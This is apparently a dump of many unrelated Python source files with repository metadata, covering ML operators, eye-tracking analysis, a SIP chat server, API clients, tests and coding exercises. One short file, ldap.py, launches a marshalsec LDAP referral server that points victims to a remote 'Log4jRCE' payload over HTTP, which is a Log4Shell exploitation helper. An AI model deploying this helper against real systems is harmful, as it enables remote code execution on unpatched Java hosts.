071c33cadbf4e036a17c53d6938e5e9290f15866 | 4,054 | py | Python | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | 1 | 2020-08-31T02:43:43.000Z | 2020-08-31T02:43:43.000Z | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | null | null | null | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# coding: utf-8
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 43.12766 | 116 | 0.682782 | #!/usr/bin/env python3
# coding: utf-8
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 0 | 0 | 0 |
b215dc02ab9358bb326b6b481d05ac82edebe201 | 605 | py | Python | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | 2 | 2021-12-14T02:48:09.000Z | 2021-12-31T08:03:23.000Z | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | null | null | null | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | 2 | 2021-12-15T04:43:57.000Z | 2022-01-24T08:42:55.000Z | # Hardware: ESP32, SSD1306 128x64 I2C screen
# I2C(1):
# scl: pin(25)
# sda: pin(26)
# Required modules:
# ssd1306: official SSD1306 driver
# microbmp
# Required files:
# img_LQ_48x48.bmp
from machine import I2C
from ssd1306 import SSD1306_I2C
from microbmp import MicroBMP
i2c = I2C(1)
ssd = SSD... | 21.607143 | 51 | 0.666116 | # Hardware: ESP32, SSD1306 128x64 I2C screen
# I2C(1):
# scl: pin(25)
# sda: pin(26)
# Required modules:
# ssd1306: official SSD1306 driver
# microbmp
# Required files:
# img_LQ_48x48.bmp
from machine import I2C
from ssd1306 import SSD1306_I2C
from microbmp import MicroBMP
def bmp_to_screen(img, ... | 136 | 0 | 23 |
e8cbf5fe2e2ed09e9aba8c63b60e6d90668a1431 | 445 | py | Python | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | null | null | null | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | 1 | 2022-02-01T01:07:19.000Z | 2022-02-01T01:07:19.000Z | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | null | null | null | import os, subprocess, sys
if __name__ == "__main__":
ipa = sys.argv[1]
main(f"{ipa}") | 29.666667 | 147 | 0.629213 | import os, subprocess, sys
def main(ip):
cwd = os.getcwd()
os.chdir("./marshalsec/")
print(os.listdir())
try:
subprocess.run(["java", "-cp", "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", f"http://{ip}:8888/#Log4jRCE"])
except:
print("Something went wr... | 326 | 0 | 23 |
d374e8ffc8b7ee91e234e067c36d885d77cacbc9 | 7,743 | py | Python | any_board_game/players.py | bdvllrs/any-board-game | 600d1ee159cb0c3a294147686ff027cc8e10bc7a | [
"MIT"
] | 2 | 2020-06-05T07:13:44.000Z | 2020-06-05T09:06:50.000Z | any_board_game/players.py | bdvllrs/any-board-game | 600d1ee159cb0c3a294147686ff027cc8e10bc7a | [
"MIT"
] | null | null | null | any_board_game/players.py | bdvllrs/any-board-game | 600d1ee159cb0c3a294147686ff027cc8e10bc7a | [
"MIT"
] | null | null | null | import asyncio
import logging
from copy import deepcopy
from any_board_game.validators import ValidationException
| 33.812227 | 121 | 0.559344 | import asyncio
import logging
from copy import deepcopy
from any_board_game.validators import ValidationException
def action_to_components(action_request, action_response, interface):
response = {}
for action in action_request['all_of']:
if action['type'] == "OnClick":
target_component = ... | 2,861 | 4,719 | 46 |
cca57ca2015bbd7a560dd96b94b7506f8a8f7221 | 3,045 | py | Python | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | 1 | 2020-10-30T08:54:22.000Z | 2020-10-30T08:54:22.000Z | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | null | null | null | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*-coding:utf-8-*-
import random
from math import sqrt
def bulk_walk(num_steps, num_bulk, dClass):
"""
:param num_steps: 随机行走了多少步
:param num_bulk: 一批次进行了多少次实验
:param dClass: 醉汉类型
:return: distances 一批次里面每次开图的总共行走距离列表
"""
drunk = dClass()
origin = Location(... | 24.36 | 68 | 0.595731 | #!/usr/bin/env python
# -*-coding:utf-8-*-
import random
from math import sqrt
class Location(object):
def __init__(self, x, y):
self.x = x
self.y = y
def move(self, dx, dy):
return Location(self.x + dx, self.y + dy)
def get_x(self):
return self.x
def get_y(self):
... | 1,307 | 3 | 462 |
d3275c91a3c2f274e730c8d1f2a5fe974d7397b0 | 22,817 | py | Python | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | null | null | null | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | null | null | null | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | 3 | 2018-10-01T12:04:36.000Z | 2021-01-07T09:30:50.000Z | import operator
from django.conf import settings
from django.db.models import Q
from django_elasticsearch_dsl import DocType, Index, fields
from django_elasticsearch_dsl_drf.compat import KeywordField, StringField
import six
from muses.collection.models.item import Item
from ..constants import VALUE_NOT_SPECIFIED
... | 28.664573 | 79 | 0.512293 | import operator
from django.conf import settings
from django.db.models import Q
from django_elasticsearch_dsl import DocType, Index, fields
from django_elasticsearch_dsl_drf.compat import KeywordField, StringField
import six
from muses.collection.models.item import Item
from ..constants import VALUE_NOT_SPECIFIED
... | 0 | 0 | 0 |
f0afd4c1c786ff8eb099ee4a4e1ff4ca4951ad0e | 62,864 | py | Python | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 3 | 2020-05-12T16:34:29.000Z | 2022-01-25T12:23:27.000Z | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 1 | 2021-12-23T15:12:27.000Z | 2022-01-17T10:51:46.000Z | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 5 | 2020-04-23T23:43:40.000Z | 2022-03-25T15:11:48.000Z | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 19 10:54:00 2019
@author: Jonathan van Leeuwen, Diederick Niehorster
"""
import numpy as np
import math
import scipy
import scipy.interpolate as interp
import scipy.signal
from scipy.cluster.vq import vq, _vq
from scipy.spatial.distance import cdist
import copy
import wa... | 41.249344 | 282 | 0.572203 | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 19 10:54:00 2019
@author: Jonathan van Leeuwen, Diederick Niehorster
"""
import numpy as np
import math
import scipy
import scipy.interpolate as interp
import scipy.signal
from scipy.cluster.vq import vq, _vq
from scipy.spatial.distance import cdist
import copy
import wa... | 10,339 | 23 | 213 |
c5f653616470f9c05a0d782f591dec8f4b39407e | 682 | py | Python | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 26 | 2015-04-21T16:30:17.000Z | 2020-03-18T03:02:19.000Z | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 1 | 2017-06-18T02:14:55.000Z | 2017-06-18T02:14:55.000Z | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 25 | 2015-03-15T04:02:01.000Z | 2020-03-01T01:11:18.000Z | """
Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order.
Example 1:
Input: "Let's take LeetCode contest"
Output: "s'teL ekat edoCteeL tsetnoc"
Note: In the string, each word is separated by single space and there will not... | 24.357143 | 148 | 0.678886 | """
Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order.
Example 1:
Input: "Let's take LeetCode contest"
Output: "s'teL ekat edoCteeL tsetnoc"
Note: In the string, each word is separated by single space and there will not... | 91 | 0 | 23 |
35b69800a0b08fdd560043003e7fb417ba3865c6 | 5,235 | py | Python | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | import ctypes
import sys
from typing import ClassVar, Type
from .constants import *
module = sys.modules["pyrtma.internal_types"]
# RTMA INTERNAL MESSAGE TYPES
MT = {}
MT["Exit"] = 0
MT["Kill"] = 1
MT["Acknowledge"] = 2
MT["FailSubscribe"] = 6
MT["FailedMessage"] = 8
MT["Connect"] = 13
MT["Disconnect"] = 14
MT["Subs... | 26.573604 | 94 | 0.664756 | import ctypes
import sys
from typing import ClassVar, Type
from .constants import *
module = sys.modules["pyrtma.internal_types"]
# RTMA INTERNAL MESSAGE TYPES
MT = {}
MT["Exit"] = 0
MT["Kill"] = 1
MT["Acknowledge"] = 2
MT["FailSubscribe"] = 6
MT["FailedMessage"] = 8
MT["Connect"] = 13
MT["Disconnect"] = 14
MT["Subs... | 856 | 2,364 | 447 |
412c8ad3eb5353898edf51bdd7ea46e5df71d707 | 19,281 | py | Python | test-common/integrationtest/testcase/test_makesnapshot.py | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 2,659 | 2021-06-07T12:59:15.000Z | 2022-03-30T15:29:37.000Z | test-common/integrationtest/testcase/test_makesnapshot.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 1,396 | 2021-05-28T09:50:13.000Z | 2022-03-31T16:37:49.000Z | test-common/integrationtest/testcase/test_makesnapshot.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 499 | 2021-05-31T07:36:48.000Z | 2022-03-31T15:10:12.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 37.150289 | 110 | 0.543385 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 829 | 18,384 | 23 |
a2d177b90238c93851711113a9674d8494656510 | 1,564 | py | Python | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | 1 | 2021-12-01T04:04:00.000Z | 2021-12-01T04:04:00.000Z | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | null | null | null | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | null | null | null | import struct
import traceback
from .util import compute_checksum
"""
tapextract.py - Extract the binary data from a TAP file
"""
def read_headerless_data(data_bytes):
"""only check the checksum and length here"""
computed_checksum = compute_checksum(data_bytes[:-1])
checksum = struct.unpack_from('<B', da... | 32.583333 | 75 | 0.573529 | import struct
import traceback
from .util import compute_checksum
"""
tapextract.py - Extract the binary data from a TAP file
"""
def read_headerless_data(data_bytes):
"""only check the checksum and length here"""
computed_checksum = compute_checksum(data_bytes[:-1])
checksum = struct.unpack_from('<B', da... | 1,102 | 0 | 46 |
2b5747ad9b9342f9abaea8313c3f9e0d5bb5824f | 124 | py | Python | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 3 | 2020-06-02T03:55:52.000Z | 2022-03-21T04:43:52.000Z | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 28 | 2020-06-24T00:55:53.000Z | 2021-07-16T22:09:19.000Z | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 1 | 2021-06-17T18:55:25.000Z | 2021-06-17T18:55:25.000Z | import MolecularSystem
msys=MolecularSystem.Universe()
atom=
for ii in xrange(300):
msys.add_atom()
msys._atomDB.df
| 11.272727 | 31 | 0.75 | import MolecularSystem
msys=MolecularSystem.Universe()
atom=
for ii in xrange(300):
msys.add_atom()
msys._atomDB.df
| 0 | 0 | 0 |
c14b7cea7b1501f39868d0e4213700103d30b2e9 | 936 | py | Python | selia_templates/custom_tags/urls.py | CONABIO-audio/selia-templates | 2c6a72d9f66381952c25e7ef4d229c791cbe608d | [
"BSD-4-Clause"
] | null | null | null | selia_templates/custom_tags/urls.py | CONABIO-audio/selia-templates | 2c6a72d9f66381952c25e7ef4d229c791cbe608d | [
"BSD-4-Clause"
] | 3 | 2021-03-19T02:26:06.000Z | 2021-09-22T18:56:06.000Z | selia_templates/custom_tags/urls.py | CONABIO-audio/selia-templates | 2c6a72d9f66381952c25e7ef4d229c791cbe608d | [
"BSD-4-Clause"
] | null | null | null | import re
| 20.347826 | 52 | 0.569444 | import re
def add_fields(query, fields):
query_copy = query.copy()
try:
fields = fields.split('&')
except:
return query_copy.urlencode()
for field in fields:
try:
key, value = field.split("=")
query_copy[key] = value
except:
pass
... | 830 | 0 | 92 |
fba5d25beed21e182c8eafdb95221e339f376108 | 13,051 | py | Python | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | 1 | 2021-07-25T20:34:29.000Z | 2021-07-25T20:34:29.000Z | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | 1 | 2022-02-10T06:49:37.000Z | 2022-02-10T06:49:37.000Z | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | null | null | null | """ Market Watch View """
__docformat__ = "numpy"
import argparse
from typing import List
import re
import requests
import pandas as pd
from bs4 import BeautifulSoup
import numpy as np
from gamestonk_terminal.helper_funcs import (
check_positive,
get_user_agent,
clean_data_values_to_float,
int_or_round... | 36.152355 | 105 | 0.568922 | """ Market Watch View """
__docformat__ = "numpy"
import argparse
from typing import List
import re
import requests
import pandas as pd
from bs4 import BeautifulSoup
import numpy as np
from gamestonk_terminal.helper_funcs import (
check_positive,
get_user_agent,
clean_data_values_to_float,
int_or_round... | 0 | 0 | 0 |
ad711a6a6ff5ca11f1fc708e6c98a727d89b02ff | 348 | py | Python | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 2,208 | 2015-01-02T02:14:41.000Z | 2022-03-31T04:45:46.000Z | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 91 | 2015-01-08T16:42:16.000Z | 2021-12-11T19:16:35.000Z | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 786 | 2015-01-02T15:18:20.000Z | 2022-02-23T23:42:40.000Z | # TODO - redundant file, and functionality, as we use scipy!
import math
| 18.315789 | 60 | 0.505747 | # TODO - redundant file, and functionality, as we use scipy!
import math
def dotproduct(p, q):
return p[0] * q[0] + p[1] * q[1] + p[2] * q[2]
def norm(p):
sum = 0
for i in p:
sum += i ** 2
return math.sqrt(sum)
def crossproduct(p, q):
return (p[1] * q[2] - p[2] * q[1],
p[2] * q[0] - p[0] * q[2],
... | 204 | 0 | 69 |
67068f2ed249ad4b4053a561ab7c7591a7b09de5 | 10,547 | py | Python | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | # Copyright 2014 Facebook, Inc.
# You are hereby granted a non-exclusive, worldwide, royalty-free license to
# use, copy, modify, and distribute this software in source code or binary
# form for use in connection with the web services and APIs provided by
# Facebook.
# As with any software that integrates with the Fa... | 43.582645 | 106 | 0.701906 | # Copyright 2014 Facebook, Inc.
# You are hereby granted a non-exclusive, worldwide, royalty-free license to
# use, copy, modify, and distribute this software in source code or binary
# form for use in connection with the web services and APIs provided by
# Facebook.
# As with any software that integrates with the Fa... | 2,377 | 6,559 | 23 |
f497519aad8d7f3df99d37cb378bdfd471324142 | 9,209 | py | Python | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | 10 | 2020-11-11T02:22:32.000Z | 2021-07-29T01:40:51.000Z | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | 2 | 2021-02-24T07:29:39.000Z | 2022-03-12T13:12:43.000Z | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | null | null | null | ''' Evaluation of agent trajectories against the simulator (nav graph)
ground truth '''
import os
import sys
import json
import math
from collections import defaultdict
import networkx as nx
import numpy as np
from dtw import DTW
BASE_DIR = 'src/vln_evaluation/'
GT = BASE_DIR + 'data/R2R_coda.json'
CONN = BASE... | 42.050228 | 131 | 0.60506 | ''' Evaluation of agent trajectories against the simulator (nav graph)
ground truth '''
import os
import sys
import json
import math
from collections import defaultdict
import networkx as nx
import numpy as np
from dtw import DTW
BASE_DIR = 'src/vln_evaluation/'
GT = BASE_DIR + 'data/R2R_coda.json'
CONN = BASE... | 3,195 | 0 | 127 |
2d6efdc40ea4aedeaac2731ee77519294678dd8f | 26,390 | py | Python | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | #
# Group Chat Server
#
# Copyright (C) 2019 Internet Real-Time Laboratory
#
# Written by Jan Janak <janakj@cs.columbia.edu>
#
import re
import os
import shlex
import types
import time
import json
import sqlite3
import traceback
import pjsua2 as pj
import time
from types import SimpleNamespace
from email.utils impo... | 31.342043 | 148 | 0.579462 | #
# Group Chat Server
#
# Copyright (C) 2019 Internet Real-Time Laboratory
#
# Written by Jan Janak <janakj@cs.columbia.edu>
#
import re
import os
import shlex
import types
import time
import json
import sqlite3
import traceback
import pjsua2 as pj
import time
from types import SimpleNamespace
from email.utils impo... | 21,389 | 1,856 | 1,561 |
ab52d68d0e2e47dd7c8bcc6a06c5216131d64a8b | 2,155 | py | Python | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 37 | 2015-01-04T11:20:29.000Z | 2021-12-22T07:02:07.000Z | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 1 | 2017-11-15T02:10:44.000Z | 2017-11-15T02:48:25.000Z | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 9 | 2015-01-03T22:36:10.000Z | 2020-11-18T17:48:08.000Z | """
forecast.py
author: Jonathan Tsai <hello@jontsai.com>
Python interface to Forecast API
Usage:
python forecast.py LATITUDE LONGITUDE
python forecast.py -t TIMESTAMP LATITUDE LONGITUDE
Examples:
$ python forecast.py 37.8267 -122.423
"""
import getopt
import json
import requests
import os
import sys
i... | 24.770115 | 111 | 0.567053 | """
forecast.py
author: Jonathan Tsai <hello@jontsai.com>
Python interface to Forecast API
Usage:
python forecast.py LATITUDE LONGITUDE
python forecast.py -t TIMESTAMP LATITUDE LONGITUDE
Examples:
$ python forecast.py 37.8267 -122.423
"""
import getopt
import json
import requests
import os
import sys
i... | 1,449 | 2 | 95 |
7e38871b7469a11abc5f5de647a02a97bb2f4d92 | 2,686 | py | Python | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | 2 | 2021-01-29T23:45:22.000Z | 2021-07-29T04:29:29.000Z | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | null | null | null | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | null | null | null | import time
import numpy as np
import argparse
import cv2
pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt'
ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel'
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
"bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
"dog", "h... | 36.794521 | 101 | 0.61653 | import time
import numpy as np
import argparse
import cv2
pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt'
ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel'
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
"bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
"dog", "h... | 0 | 0 | 0 |
3573300fa1ec1048c864b01f3873f9fb56b66e67 | 3,479 | py | Python | tensorflow_hub/tools/make_nearest_neighbour_index/index_builder_test.py | hrishikeshmane/hub | d6ee95376e80ce8e1df9a1f1057402c7ca98d4fa | [
"Apache-2.0"
] | 2 | 2020-06-20T14:10:42.000Z | 2020-10-12T07:10:30.000Z | tensorflow_hub/tools/make_nearest_neighbour_index/index_builder_test.py | hrishikeshmane/hub | d6ee95376e80ce8e1df9a1f1057402c7ca98d4fa | [
"Apache-2.0"
] | null | null | null | tensorflow_hub/tools/make_nearest_neighbour_index/index_builder_test.py | hrishikeshmane/hub | d6ee95376e80ce8e1df9a1f1057402c7ca98d4fa | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 The TensorFlow Hub Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 35.141414 | 80 | 0.707675 | # Copyright 2019 The TensorFlow Hub Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 1,257 | 20 | 96 |
3d2d90568041790a6144f4d9a48b3656bb48869c | 8,133 | py | Python | NvTK/Explainer/Featuremap.py | JiaqiLiZju/NvTK | 6b887670a03d63c1747d9854ecbbac13cc06461c | [
"BSD-3-Clause"
] | null | null | null | NvTK/Explainer/Featuremap.py | JiaqiLiZju/NvTK | 6b887670a03d63c1747d9854ecbbac13cc06461c | [
"BSD-3-Clause"
] | null | null | null | NvTK/Explainer/Featuremap.py | JiaqiLiZju/NvTK | 6b887670a03d63c1747d9854ecbbac13cc06461c | [
"BSD-3-Clause"
] | null | null | null | """Feature map based model interpretation methods in NvTK.
"""
import torch
import logging
import numpy as np
from .Motif import normalize_pwm
__all__ = ["get_activate_W", "get_fmap", "get_activate_W_from_fmap",
"get_activate_sequence_from_fmap", "save_activate_seqlets"]
def _get_W_from_conv(model, motif_width=... | 29.900735 | 130 | 0.606541 | """Feature map based model interpretation methods in NvTK.
"""
import torch
import logging
import numpy as np
from .Motif import normalize_pwm
__all__ = ["get_activate_W", "get_fmap", "get_activate_W_from_fmap",
"get_activate_sequence_from_fmap", "save_activate_seqlets"]
def _get_W_from_conv(model, motif_width=... | 494 | 8 | 149 |
13b0e9356e2e6ce5eefe154755e759bf2f849f53 | 5,335 | py | Python | tests/test_kernels/test_call.py | probabilistic-numerics/probnum | 93c26c935282b48cca4c4db72616f1e4ebad2266 | [
"MIT"
] | 226 | 2019-11-01T09:44:09.000Z | 2022-03-30T23:17:17.000Z | tests/test_kernels/test_call.py | probabilistic-numerics/probnum | 93c26c935282b48cca4c4db72616f1e4ebad2266 | [
"MIT"
] | 590 | 2019-11-21T08:32:30.000Z | 2022-03-31T12:37:37.000Z | tests/test_kernels/test_call.py | probabilistic-numerics/probnum | 93c26c935282b48cca4c4db72616f1e4ebad2266 | [
"MIT"
] | 39 | 2020-01-13T16:29:45.000Z | 2022-03-28T16:16:54.000Z | """Test cases for `Kernel.__call__`."""
from typing import Callable, Optional, Tuple, Union
import numpy as np
import pytest
import probnum as pn
from probnum.typing import ShapeType
from ._utils import _shape_param_to_id_str
D_IN = None
@pytest.fixture(
params=[
pytest.param(
(x0_shape, ... | 27.358974 | 88 | 0.596064 | """Test cases for `Kernel.__call__`."""
from typing import Callable, Optional, Tuple, Union
import numpy as np
import pytest
import probnum as pn
from probnum.typing import ShapeType
from ._utils import _shape_param_to_id_str
D_IN = None
@pytest.fixture(
params=[
pytest.param(
(x0_shape, ... | 149 | 0 | 27 |
81ccb770ef1bc8e3c8aa79b5d198c1743290e0ad | 9,012 | py | Python | code/train_model_combined.py | gnunesm/CalibNet | 7ffbcbbdbeea56b24cb3c1a865443932164b1d99 | [
"MIT"
] | null | null | null | code/train_model_combined.py | gnunesm/CalibNet | 7ffbcbbdbeea56b24cb3c1a865443932164b1d99 | [
"MIT"
] | null | null | null | code/train_model_combined.py | gnunesm/CalibNet | 7ffbcbbdbeea56b24cb3c1a865443932164b1d99 | [
"MIT"
] | null | null | null | import numpy as np
import tensorflow as tf
import scipy.misc as smc
import config_res as config
from common.cnn_utils_res import *
from common import resnet_rgb_model as model
from common import resnet_depth_model as model_depth
from common import all_transformer as at3
from common import global_agg_net
from common.L... | 49.516484 | 348 | 0.721815 | import numpy as np
import tensorflow as tf
import scipy.misc as smc
import config_res as config
from common.cnn_utils_res import *
from common import resnet_rgb_model as model
from common import resnet_depth_model as model_depth
from common import all_transformer as at3
from common import global_agg_net
from common.L... | 0 | 0 | 0 |
65666f87d811e962fadfb3ef6672c780bd4f32ea | 1,045 | py | Python | Day14/higher_lower.py | MHKomeili/100DaysofCode | a5799011a43f777ddc5ac9e649aa27291313b62b | [
"MIT"
] | null | null | null | Day14/higher_lower.py | MHKomeili/100DaysofCode | a5799011a43f777ddc5ac9e649aa27291313b62b | [
"MIT"
] | null | null | null | Day14/higher_lower.py | MHKomeili/100DaysofCode | a5799011a43f777ddc5ac9e649aa27291313b62b | [
"MIT"
] | null | null | null | import random
from art import logo, vs
from utils import clear
from game_data import data
game() | 22.717391 | 90 | 0.583732 | import random
from art import logo, vs
from utils import clear
from game_data import data
def pick_randomly():
item_dict = random.choice(data)
return item_dict
def display(itemA, itemB):
print(f"Compare A: {itemA['name']}, {itemA['description']}, from {itemA['country']}.")
print(vs)
print(f"Agai... | 849 | 0 | 96 |
